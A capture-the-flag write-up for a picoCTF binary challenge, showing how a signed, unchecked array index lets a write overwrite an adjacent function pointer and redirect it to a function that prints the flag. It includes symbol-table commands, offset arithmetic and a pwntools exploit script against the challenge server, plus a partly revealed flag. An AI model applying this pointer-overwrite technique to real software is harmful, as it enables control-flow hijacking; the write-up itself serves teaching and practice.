Description
The C source is provided. The program reads a 'story', scores it by summing the ASCII values of its characters, then calls a function pointer (check) that initially points at hard_checker. hard_checker demands an impossible score (13371337), but easy_checker only needs 1337. The bug: you can add a value to fun[num1] with a signed, unbounded index, so the index that lands on the check pointer lets you redirect it to easy_checker.
Redirect check from hard_checker to easy_checker, then submit a story whose characters sum to exactly 1337 so easy_checker prints the flag.
Read the C source: note fun[], the check pointer (= &hard_checker), easy_checker (score 1337) vs hard_checker (score 13371337), and fun[num1] += num2 with a signed, unchecked index.
Get the addresses of fun, check, easy_checker, and hard_checker from the symbol table.
Compute the index that reaches check, and the num2 that turns &hard_checker into &easy_checker.
wget https://artifacts.picoctf.net/c/315/vuln && chmod +x vulnfile vuln # 32-bit ELF -> 4-byte pointersobjdump -t vuln | grep -E 'fun|check|hard_checker|easy_checker'Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Read the source and find the bug
Observationfun[num1] indexes with a signed int and no upper bound. So a chosen out-of-bounds index reaches the check function pointer sitting immediately after the array in .bss.The source defines fun[], a function pointer check = &hard_checker, and two checkers: easy_checker prints the flag when the score is 1337, hard_checker when it is 13371337. The program (1) reads a story, (2) reads num1/num2 and runs fun[num1] += num2, (3) scores the story and calls check(). num1 is a signed int with no upper-bound check, so a num1 of 10 writes past the end of fun and lands on the check pointer that sits immediately after the array.bashobjdump -t vuln | grep -E 'fun|check|hard_checker|easy_checker'bash# confirm: check = &hard_checker; easy_checker needs score 1337; hard_checker needs 13371337Expected output
0804c028 g O .bss 00000028 fun 0804c050 g O .bss 00000004 check 08049280 g F .text 00000053 easy_checker 080492d3 g F .text 00000053 hard_checker
What didn't work first
Tried: Use nm instead of objdump -t to get the symbol addresses.
nm lists symbol names and values but leaves out the section and size columns that confirm fun is a .bss array with check as a separate pointer beside it. Without that context it is easy to mistake a variable for a function and get the address arithmetic wrong. objdump -t shows section, size, and address together.
Tried: Run the binary and inspect memory with GDB instead of reading objdump output.
GDB prints symbol addresses at runtime, but with ASLR on, or PIE enabled, those differ from the static values the exploit calculation uses. This binary is non-PIE, so static addresses hold, but leaning on runtime values builds a habit that breaks the moment PIE appears. objdump -t gives the load-time addresses the exploit actually needs.
Learn more
hard_checker's required score (13371337) is unreachable by a bounded story of byte values, so the legitimate path through the default pointer is dead. easy_checker's 1337, by contrast, is easy to hit. The exploit makes the program call easy_checker instead.
C does no bounds check on array indexing:
fun[num1]is*(fun + num1*4)on this 32-bit build. Anum1of 10 resolves to memory just past the end of the array (fun has 10 int-sized slots, indices 0-9), and the linker placedcheckimmediately afterfunin .bss, so index 10 aliases the pointer.Step 2Redirect check to easy_checker
ObservationThe symbol table puts check directly after fun in .bss, and the operation is += rather than assignment. So compute the index into fun that aliases check, then add the difference between easy_checker and hard_checker to redirect the pointer.Compute the index that reaches check: index = (check_addr - fun_addr) / 4. Then compute num2 = easy_checker_addr - hard_checker_addr (it can be negative). Adding num2 to check (currently &hard_checker) turns it into &easy_checker. Read all four addresses from the symbol table.pythonpython3 -c " # from objdump -t vuln: fun_addr = 0x0804c0XX check_addr = 0x0804c0YY easy = 0x0804XXXX # easy_checker hard = 0x0804YYYY # hard_checker index = (check_addr - fun_addr) // 4 # positive: 10 num2 = easy - hard # add this to check (-> easy_checker) print('num1 =', index, ' num2 =', num2) "What didn't work first
Tried: Try to set num2 to the full easy_checker address instead of the difference.
The operation adds to the slot rather than assigning it. Supply easy_checker's address directly and you get hard_checker plus easy_checker, a garbage address that crashes on call. Supply the difference between the two, so the addition turns the existing pointer into the target.
Tried: Divide (check_addr - fun_addr) by 1 instead of 4 when computing the index.
fun is an array of 4-byte integers on this 32-bit build, so each index step moves 4 bytes. Divide the byte offset by 1 and the index comes out four times too large, sending the write well past check into unrelated memory. Divide by the element size, 4, and you land on index 10, exactly on check.
Learn more
The key realization is that you only get an add, so you do not write an address directly. Instead you compute the difference between the two real function addresses and add it, transforming the pointer from one valid function into the other. This is cleaner and more reliable than trying to jump into the middle of a function.
Step 3Submit a story that scores 1337
Observationeasy_checker sums the ASCII values of the story characters and wants exactly 1337. So craft a byte string whose values add up to precisely that before sending the exploit.Now that check points at easy_checker, send a story whose summed ASCII value equals 1337. For example 10 'd' characters (0x64 = 100) sum to 1000, then add bytes to reach 1337 (e.g. mix in other characters). Then provide num1 and num2 from the previous step. easy_checker validates the score and prints the flag.pythonpython3 -c " from pwn import * # choose a story whose byte values sum to exactly 1337 story = b'd'*13 + bytes([1337 - 13*100]) # 13*100 + 37 = 1337 fun_addr, check_addr = 0x0804c0XX, 0x0804c0YY easy, hard = 0x0804XXXX, 0x0804YYYY num1 = (check_addr - fun_addr)//4 num2 = easy - hard p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'story', story) p.sendlineafter(b'num1', str(num1).encode()) p.sendlineafter(b'num2', str(num2).encode()) print(p.recvall(timeout=5).decode(errors='replace')) "What didn't work first
Tried: Send the story after providing num1 and num2, rather than before.
The program asks for the story first, then the two numbers. Send the index early and pwntools folds it into the story input, so the story holds your digits as ASCII and the pointer is never corrupted. Follow the prompt order: story, then the first number, then the second.
Tried: Use a story of all 'A' characters (0x41 = 65) and adjust the count to hit 1337.
1337 divided by 65 is not a whole number, so no run of 'A' characters lands on it exactly; you overshoot or undershoot and the strict equality check rejects the score. Mix two byte values, or pad with a remainder byte, to hit 1337 precisely.
Learn more
The order matters: the add corrupts
checktoeasy_checker, and then the post-scoring call dispatches toeasy_checker, which compares the score to 1337 and, on success, prints the flag. The story just needs the right ASCII sum.Control Flow Integrity (CFI) is the modern defense: it validates that indirect calls jump only to legitimate function entry points. Even pointing
checkat a different real function would be allowed by coarse CFI, so the deeper fix is to bounds-check the array index and keep function pointers out of writable, attacker-reachable memory.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{0v3rwrit1ng_P01nt3rs_...}
Not a jump-past-the-gate trick. A signed unbounded index in fun[num1] += num2 reaches the adjacent check pointer; add num2 = easy_checker - hard_checker to redirect check to easy_checker, then submit a story whose ASCII sum is exactly 1337 so easy_checker prints the flag.